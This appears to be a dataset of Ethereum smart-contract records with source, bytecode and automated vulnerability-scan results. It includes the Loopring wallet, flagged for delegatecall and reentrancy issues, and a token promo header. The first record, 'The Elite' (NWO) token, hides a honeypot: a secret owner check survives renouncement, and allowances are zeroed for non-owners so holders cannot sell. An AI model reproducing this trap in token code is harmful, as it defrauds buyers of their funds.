emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TheElite is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'The Elite. ' ;
string private _symbol = 'NWO ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220056cad0c51a90b74df61c0f5421112dc3ae15d3767ce02515f6a25ba149ff25d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,297 |
0x303baa149efc0b3b47136177f27637f2c491e457
|
// SPDX-License-Identifier: Apache-2.0
// Copyright 2017 Loopring Technology Limited.
pragma solidity ^0.7.0;
/// @title Ownable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
/// @title WalletRegistry
/// @dev A registry for wallets.
/// @author Daniel Wang - <daniel@loopring.org>
interface WalletRegistry
{
function registerWallet(address wallet) external;
function isWalletRegistered(address addr) external view returns (bool);
function numOfWallets() external view returns (uint);
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title ModuleRegistry
/// @dev A registry for modules.
///
/// @author Daniel Wang - <daniel@loopring.org>
interface ModuleRegistry
{
/// @dev Registers and enables a new module.
function registerModule(address module) external;
/// @dev Disables a module
function disableModule(address module) external;
/// @dev Returns true if the module is registered and enabled.
function isModuleEnabled(address module) external view returns (bool);
/// @dev Returns the list of enabled modules.
function enabledModules() external view returns (address[] memory _modules);
/// @dev Returns the number of enbaled modules.
function numOfEnabledModules() external view returns (uint);
/// @dev Returns true if the module is ever registered.
function isModuleRegistered(address module) external view returns (bool);
}
/// @title Controller
///
/// @author Daniel Wang - <daniel@loopring.org>
abstract contract Controller
{
ModuleRegistry public moduleRegistry;
WalletRegistry public walletRegistry;
address public walletFactory;
}
// Copyright 2017 Loopring Technology Limited.
/// @title ERC20 Token Interface
/// @dev see https://github.com/ethereum/EIPs/issues/20
/// @author Daniel Wang - <daniel@loopring.org>
abstract contract ERC20
{
function totalSupply()
public
view
virtual
returns (uint);
function balanceOf(
address who
)
public
view
virtual
returns (uint);
function allowance(
address owner,
address spender
)
public
view
virtual
returns (uint);
function transfer(
address to,
uint value
)
public
virtual
returns (bool);
function transferFrom(
address from,
address to,
uint value
)
public
virtual
returns (bool);
function approve(
address spender,
uint value
)
public
virtual
returns (bool);
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title Module
/// @dev Base contract for all smart wallet modules.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Module
{
/// @dev Activates the module for the given wallet (msg.sender) after the module is added.
/// Warning: this method shall ONLY be callable by a wallet.
function activate() external;
/// @dev Deactivates the module for the given wallet (msg.sender) before the module is removed.
/// Warning: this method shall ONLY be callable by a wallet.
function deactivate() external;
}
// Copyright 2017 Loopring Technology Limited.
/// @title Wallet
/// @dev Base contract for smart wallets.
/// Sub-contracts must NOT use non-default constructor to initialize
/// wallet states, instead, `init` shall be used. This is to enable
/// proxies to be deployed in front of the real wallet contract for
/// saving gas.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Wallet
{
function version() external pure returns (string memory);
function owner() external view returns (address);
/// @dev Set a new owner.
function setOwner(address newOwner) external;
/// @dev Adds a new module. The `init` method of the module
/// will be called with `address(this)` as the parameter.
/// This method must throw if the module has already been added.
/// @param _module The module's address.
function addModule(address _module) external;
/// @dev Removes an existing module. This method must throw if the module
/// has NOT been added or the module is the wallet's only module.
/// @param _module The module's address.
function removeModule(address _module) external;
/// @dev Checks if a module has been added to this wallet.
/// @param _module The module to check.
/// @return True if the module exists; False otherwise.
function hasModule(address _module) external view returns (bool);
/// @dev Binds a method from the given module to this
/// wallet so the method can be invoked using this wallet's default
/// function.
/// Note that this method must throw when the given module has
/// not been added to this wallet.
/// @param _method The method's 4-byte selector.
/// @param _module The module's address. Use address(0) to unbind the method.
function bindMethod(bytes4 _method, address _module) external;
/// @dev Returns the module the given method has been bound to.
/// @param _method The method's 4-byte selector.
/// @return _module The address of the bound module. If no binding exists,
/// returns address(0) instead.
function boundMethodModule(bytes4 _method) external view returns (address _module);
/// @dev Performs generic transactions. Any module that has been added to this
/// wallet can use this method to transact on any third-party contract with
/// msg.sender as this wallet itself.
///
/// This method will emit `Transacted` event if it doesn't throw.
///
/// Note: this method must ONLY allow invocations from a module that has
/// been added to this wallet. The wallet owner shall NOT be permitted
/// to call this method directly.
///
/// @param mode The transaction mode, 1 for CALL, 2 for DELEGATECALL.
/// @param to The desitination address.
/// @param value The amount of Ether to transfer.
/// @param data The data to send over using `to.call{value: value}(data)`
/// @return returnData The transaction's return value.
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
returns (bytes memory returnData);
}
// Copyright 2017 Loopring Technology Limited.
/// @title ReentrancyGuard
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev Exposes a modifier that guards a function against reentrancy
/// Changing the value of the same storage value multiple times in a transaction
/// is cheap (starting from Istanbul) so there is no need to minimize
/// the number of times the value is changed
contract ReentrancyGuard
{
//The default value must be 0 in order to work behind a proxy.
uint private _guardValue;
modifier nonReentrant()
{
require(_guardValue == 0, "REENTRANCY");
_guardValue = 1;
_;
_guardValue = 0;
}
}
/// @title BaseWallet
/// @dev This contract provides basic implementation for a Wallet.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
abstract contract BaseWallet is ReentrancyGuard, Wallet
{
// WARNING: do not delete wallet state data to make this implementation
// compatible with early versions.
//
// ----- DATA LAYOUT BEGINS -----
address internal _owner;
mapping (address => bool) private modules;
Controller public controller;
mapping (bytes4 => address) internal methodToModule;
// ----- DATA LAYOUT ENDS -----
event OwnerChanged (address newOwner);
event ControllerChanged (address newController);
event ModuleAdded (address module);
event ModuleRemoved (address module);
event MethodBound (bytes4 method, address module);
event WalletSetup (address owner);
event Transacted(
address module,
address to,
uint value,
bytes data
);
modifier onlyFromModule
{
require(modules[msg.sender], "MODULE_UNAUTHORIZED");
_;
}
/// @dev We need to make sure the Factory address cannot be changed without wallet owner's
/// explicit authorization.
modifier onlyFromFactoryOrModule
{
require(
msg.sender == controller.walletFactory() || modules[msg.sender],
"UNAUTHORIZED"
);
_;
}
/// @dev Set up this wallet by assigning an original owner and controller.
///
/// Note that calling this method more than once will throw.
///
/// @param _controller The Controller instance.
/// @param _initialOwner The owner of this wallet, must not be address(0).
function setup(
address _controller,
address _initialOwner
)
external
nonReentrant
{
require(_owner == address(0), "INITIALIZED_ALREADY");
require(_initialOwner != address(0), "ZERO_ADDRESS");
controller = Controller(_controller);
_owner = _initialOwner;
emit WalletSetup(_initialOwner);
}
function owner()
override
external
view
returns (address)
{
return _owner;
}
function setOwner(address newOwner)
external
override
nonReentrant
onlyFromModule
{
require(newOwner != address(0), "ZERO_ADDRESS");
require(newOwner != address(this), "PROHIBITED");
require(newOwner != _owner, "SAME_ADDRESS");
_owner = newOwner;
emit OwnerChanged(newOwner);
}
function setController(Controller newController)
external
nonReentrant
onlyFromModule
{
require(newController != controller, "SAME_CONTROLLER");
require(newController != Controller(0), "INVALID_CONTROLLER");
controller = newController;
emit ControllerChanged(address(newController));
}
function addModule(address _module)
external
override
{
addModuleInternal(_module);
}
function removeModule(address _module)
external
override
onlyFromModule
{
// Allow deactivate to fail to make sure the module can be removed
require(modules[_module], "MODULE_NOT_EXISTS");
try Module(_module).deactivate() {} catch {}
delete modules[_module];
emit ModuleRemoved(_module);
}
function hasModule(address _module)
external
view
override
returns (bool)
{
return modules[_module];
}
function bindMethod(bytes4 _method, address _module)
external
override
onlyFromModule
{
require(_method != bytes4(0), "BAD_METHOD");
if (_module != address(0)) {
require(modules[_module], "MODULE_UNAUTHORIZED");
}
methodToModule[_method] = _module;
emit MethodBound(_method, _module);
}
function boundMethodModule(bytes4 _method)
external
view
override
returns (address)
{
return methodToModule[_method];
}
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
override
onlyFromModule
returns (bytes memory returnData)
{
require(
!controller.moduleRegistry().isModuleRegistered(to),
"TRANSACT_ON_MODULE_DISALLOWED"
);
bool success;
(success, returnData) = nonReentrantCall(mode, to, value, data);
if (!success) {
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
emit Transacted(msg.sender, to, value, data);
}
function addModuleInternal(address _module)
internal
{
modules[_module] = true;
emit ModuleAdded(_module);
Module(_module).activate();
}
receive()
external
payable
{
}
/// @dev This default function can receive Ether or perform queries to modules
/// using bound methods.
fallback()
external
payable
{
address module = methodToModule[msg.sig];
require(modules[module], "MODULE_UNAUTHORIZED");
(bool success, bytes memory returnData) = module.call{value: msg.value}(msg.data);
assembly {
switch success
case 0 { revert(add(returnData, 32), mload(returnData)) }
default { return(add(returnData, 32), mload(returnData)) }
}
}
// This call is introduced to support reentrany check.
// The caller shall NOT have the nonReentrant modifier.
function nonReentrantCall(
uint8 mode,
address target,
uint value,
bytes memory data
)
private
nonReentrant
returns (
bool success,
bytes memory returnData
)
{
if (mode == 1) {
// solium-disable-next-line security/no-call-value
(success, returnData) = target.call{value: value}(data);
} else if (mode == 2) {
// solium-disable-next-line security/no-call-value
(success, returnData) = target.delegatecall(data);
} else if (mode == 3) {
require(value == 0, "INVALID_VALUE");
// solium-disable-next-line security/no-call-value
(success, returnData) = target.staticcall(data);
} else {
revert("UNSUPPORTED_MODE");
}
}
}
/// @title WalletImpl
contract WalletImpl is BaseWallet {
function version()
external
override
pure
returns (string memory)
{
// 使用中国省会作为别名
return "1.1.5 (shenyang)";
}
}
|
0x6080604052600436106100ab5760003560e01c806392eefe9b1161006457806392eefe9b146103ae578063a0632461146103e1578063b149206e14610414578063c7b2e59614610457578063cf38db691461049e578063f77c4791146104d2576100b2565b806313af4035146101b45780631ed86f19146101e95780632d34ba791461021c57806354fd4d50146102575780637122b74c146102e15780638da5cb5b1461037d576100b2565b366100b257005b600080356001600160e01b0319168152600460209081526040808320546001600160a01b031680845260029092529091205460ff1661012e576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b60006060826001600160a01b031634600036604051808383808284376040519201945060009350909150508083038185875af1925050503d8060008114610191576040519150601f19603f3d011682016040523d82523d6000602084013e610196565b606091505b509150915081600081146101ac57815160208301f35b815160208301fd5b3480156101c057600080fd5b506101e7600480360360208110156101d757600080fd5b50356001600160a01b03166104e7565b005b3480156101f557600080fd5b506101e76004803603602081101561020c57600080fd5b50356001600160a01b03166106c6565b34801561022857600080fd5b506101e76004803603604081101561023f57600080fd5b506001600160a01b03813581169160200135166106d2565b34801561026357600080fd5b5061026c61081f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a657818101518382015260200161028e565b50505050905090810190601f1680156102d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ed57600080fd5b5061026c6004803603608081101561030457600080fd5b60ff823516916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561033e57600080fd5b82018360208201111561035057600080fd5b8035906020019184600183028401116401000000008311171561037257600080fd5b509092509050610849565b34801561038957600080fd5b50610392610ad3565b604080516001600160a01b039092168252519081900360200190f35b3480156103ba57600080fd5b506101e7600480360360208110156103d157600080fd5b50356001600160a01b0316610ae2565b3480156103ed57600080fd5b506101e76004803603602081101561040457600080fd5b50356001600160a01b0316610c7f565b34801561042057600080fd5b506101e76004803603604081101561043757600080fd5b5080356001600160e01b03191690602001356001600160a01b0316610ddf565b34801561046357600080fd5b5061048a6004803603602081101561047a57600080fd5b50356001600160a01b0316610f66565b604080519115158252519081900360200190f35b3480156104aa57600080fd5b50610392600480360360208110156104c157600080fd5b50356001600160e01b031916610f84565b3480156104de57600080fd5b50610392610fa9565b60005415610529576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b600160009081553381526002602052604090205460ff16610587576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160a01b0381166105d1576040805162461bcd60e51b815260206004820152600c60248201526b5a45524f5f4144445245535360a01b604482015290519081900360640190fd5b6001600160a01b03811630141561061c576040805162461bcd60e51b815260206004820152600a602482015269141493d212509255115160b21b604482015290519081900360640190fd5b6001546001600160a01b038281169116141561066e576040805162461bcd60e51b815260206004820152600c60248201526b53414d455f4144445245535360a01b604482015290519081900360640190fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517fa2ea9883a321a3e97b8266c2b078bfeec6d50c711ed71f874a90d500ae2eaf369181900360200190a15060008055565b6106cf81610fb8565b50565b60005415610714576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b60016000819055546001600160a01b03161561076d576040805162461bcd60e51b8152602060048201526013602482015272494e495449414c495a45445f414c524541445960681b604482015290519081900360640190fd5b6001600160a01b0381166107b7576040805162461bcd60e51b815260206004820152600c60248201526b5a45524f5f4144445245535360a01b604482015290519081900360640190fd5b600380546001600160a01b038085166001600160a01b03199283161790925560018054928416929091168217905560408051918252517f2d09b2e98dd73e6a5c2de8f80056fba918b4d574202a95c8e11eab46f89a21b69181900360200190a1505060008055565b60408051808201909152601081526f312e312e3520287368656e79616e672960801b602082015290565b3360009081526002602052604090205460609060ff166108a6576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663b95459e46040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f457600080fd5b505afa158015610908573d6000803e3d6000fd5b505050506040513d602081101561091e57600080fd5b505160408051631c5ebe2f60e01b81526001600160a01b03888116600483015291519190921691631c5ebe2f916024808301926020929190829003018186803b15801561096a57600080fd5b505afa15801561097e573d6000803e3d6000fd5b505050506040513d602081101561099457600080fd5b5051156109e8576040805162461bcd60e51b815260206004820152601d60248201527f5452414e534143545f4f4e5f4d4f44554c455f444953414c4c4f574544000000604482015290519081900360640190fd5b6000610a2c87878787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061106692505050565b9250905080610a3f573d6000803e3d6000fd5b7fd15cdc35d9f75ae49cb70603e3d7c2f6d6bff47de15cfbcdfcbbd8ab19aa7aca338787878760405180866001600160a01b03168152602001856001600160a01b03168152602001848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039850909650505050505050a15095945050505050565b6001546001600160a01b031690565b60005415610b24576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b600160009081553381526002602052604090205460ff16610b82576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6003546001600160a01b0382811691161415610bd7576040805162461bcd60e51b815260206004820152600f60248201526e29a0a6a2afa1a7a72a2927a62622a960891b604482015290519081900360640190fd5b6001600160a01b038116610c27576040805162461bcd60e51b815260206004820152601260248201527124a72b20a624a22fa1a7a72a2927a62622a960711b604482015290519081900360640190fd5b600380546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f027c3e080ed9215f564a9455a666f7e459b3edc0bb6e02a1bf842fde4d0ccfc19181900360200190a15060008055565b3360009081526002602052604090205460ff16610cd9576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16610d3a576040805162461bcd60e51b81526020600482015260116024820152704d4f44554c455f4e4f545f45584953545360781b604482015290519081900360640190fd5b806001600160a01b03166351b42b006040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610d7557600080fd5b505af1925050508015610d86575060015b506001600160a01b038116600081815260026020908152604091829020805460ff19169055815192835290517f0a1ee69f55c33d8467c69ca59ce2007a737a88603d75392972520bf67cb513b89281900390910190a150565b3360009081526002602052604090205460ff16610e39576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160e01b03198216610e82576040805162461bcd60e51b815260206004820152600a60248201526910905117d351551213d160b21b604482015290519081900360640190fd5b6001600160a01b03811615610ef4576001600160a01b03811660009081526002602052604090205460ff16610ef4576040805162461bcd60e51b81526020600482015260136024820152721353d115531157d5539055551213d492569151606a1b604482015290519081900360640190fd5b6001600160e01b0319821660008181526004602090815260409182902080546001600160a01b0319166001600160a01b03861690811790915582519384529083015280517fe38e0cbd107669b7b8120e2f6edde6ac4731cb8b123c1ab8b6db9b6bf0536fb29281900390910190a15050565b6001600160a01b031660009081526002602052604090205460ff1690565b6001600160e01b0319166000908152600460205260409020546001600160a01b031690565b6003546001600160a01b031681565b6001600160a01b038116600081815260026020908152604091829020805460ff19166001179055815192835290517fead6a006345da1073a106d5f32372d2d2204f46cb0b4bca8f5ebafcbbed12b8a9281900390910190a1806001600160a01b0316630f15f4c06040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561104b57600080fd5b505af115801561105f573d6000803e3d6000fd5b5050505050565b600060606000546000146110ae576040805162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b604482015290519081900360640190fd5b6001600081905560ff8716141561116c57846001600160a01b031684846040518082805190602001908083835b602083106110fa5780518252601f1990920191602091820191016110db565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461115c576040519150601f19603f3d011682016040523d82523d6000602084013e611161565b606091505b50909250905061133b565b8560ff166002141561121257846001600160a01b0316836040518082805190602001908083835b602083106111b25780518252601f199092019160209182019101611193565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461115c576040519150601f19603f3d011682016040523d82523d6000602084013e611161565b8560ff16600314156112fb578315611261576040805162461bcd60e51b815260206004820152600d60248201526c494e56414c49445f56414c554560981b604482015290519081900360640190fd5b846001600160a01b0316836040518082805190602001908083835b6020831061129b5780518252601f19909201916020918201910161127c565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d806000811461115c576040519150601f19603f3d011682016040523d82523d6000602084013e611161565b6040805162461bcd60e51b815260206004820152601060248201526f554e535550504f525445445f4d4f444560801b604482015290519081900360640190fd5b6000805590959094509250505056fea2646970667358221220963aab38f325fac866c13ee325c55275d62453a69fa23fc745474112ecaf613a64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,298 |
0xdd5bd3e86dc6794c0296ad42f9b001e3b1dae28f
|
/**
*/
/**
KURAMA is a community driven platform that seeks out to promote financial literacy to their community and also help donate to foxes all around the world.
Tokenomics
2.0% Max Wallet (20,000,000 $KURAMA)
12% Total Buy/Sell Tax
2% LP
2% Development Fee
5% Marketing Fee
3% Charitable Donations to https://www.saveafox.org/
Website: www.KuramaERC.com
Twitter: www.twitter.com/KuramaERC
Telegram: https://t.me/KuramaERC
*/
// SPDX-License-Identifier: Unlicensed
